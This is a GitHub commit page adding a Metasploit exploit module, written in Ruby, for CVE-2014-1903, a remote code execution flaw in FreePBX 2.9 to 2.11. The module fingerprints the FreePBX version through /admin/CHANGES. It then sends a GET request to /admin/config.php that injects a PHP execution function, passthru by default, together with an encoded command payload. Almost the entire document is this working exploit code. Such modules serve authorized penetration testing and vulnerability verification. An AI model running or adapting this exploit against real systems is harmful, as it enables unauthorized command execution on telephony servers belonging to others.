Skip to content

Commit c7ba7e4

Browse files
committed
Land rapid7#3131, @xistence's exploit for CVE-2014-1903
2 parents 13f5c22 + c3b753f commit c7ba7e4

File tree

1 file changed

+103
-0
lines changed

1 file changed

+103
-0
lines changed
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "FreePBX config.php Remote Code Execution",
16+
'Description' => %q{
17+
This module exploits a vulnerability found in FreePBX version 2.9, 2.10, 2.11.
18+
It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
19+
parameters "function" and "args".
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'i-Hmx', # Vulnerability discovery
25+
'0x00string', # PoC
26+
'xistence <xistence[at]0x90.nl>' # Metasploit module
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2014-1903'],
31+
['OSVDB', '103240'],
32+
['EDB', '32214'],
33+
['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
34+
],
35+
'Platform' => 'unix',
36+
'Arch' => ARCH_CMD,
37+
'Targets' =>
38+
[
39+
['FreePBX', {}]
40+
],
41+
'Privileged' => false,
42+
'DisclosureDate' => "Mar 21 2014",
43+
'DefaultTarget' => 0))
44+
45+
register_options(
46+
[
47+
OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
48+
], self.class)
49+
50+
register_advanced_options(
51+
[
52+
OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
53+
], self.class)
54+
end
55+
56+
57+
def check
58+
vprint_status("#{peer} - Trying to detect installed version")
59+
60+
res = send_request_cgi({
61+
'method' => 'GET',
62+
'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")
63+
})
64+
65+
if res and res.code == 200 and res.body =~ /^(.*)$/
66+
version = $1
67+
else
68+
return Exploit::CheckCode::Unknown
69+
end
70+
71+
vprint_status("#{peer} - Version #{version} detected")
72+
73+
if version =~ /2\.(9|10|11)\.0/
74+
return Exploit::CheckCode::Appears
75+
else
76+
return Exploit::CheckCode::Safe
77+
end
78+
end
79+
80+
def exploit
81+
rand_data = rand_text_alpha_lower(rand(10) + 5)
82+
83+
print_status("#{peer} - Sending payload")
84+
res = send_request_cgi({
85+
'method' => 'GET',
86+
'uri' => normalize_uri(target_uri.path, "admin", "config.php"),
87+
'vars_get' => {
88+
"display" => rand_data,
89+
"handler" => "api",
90+
"function" => datastore['PHPFUNC'],
91+
"args" => payload.encoded
92+
}
93+
})
94+
95+
# If we don't get a 200 when we request our malicious payload, we suspect
96+
# we don't have a shell, either.
97+
if res and res.code != 200
98+
print_error("#{peer} - Unexpected response, exploit probably failed!")
99+
end
100+
101+
end
102+
103+
end

0 commit comments

Comments
 (0)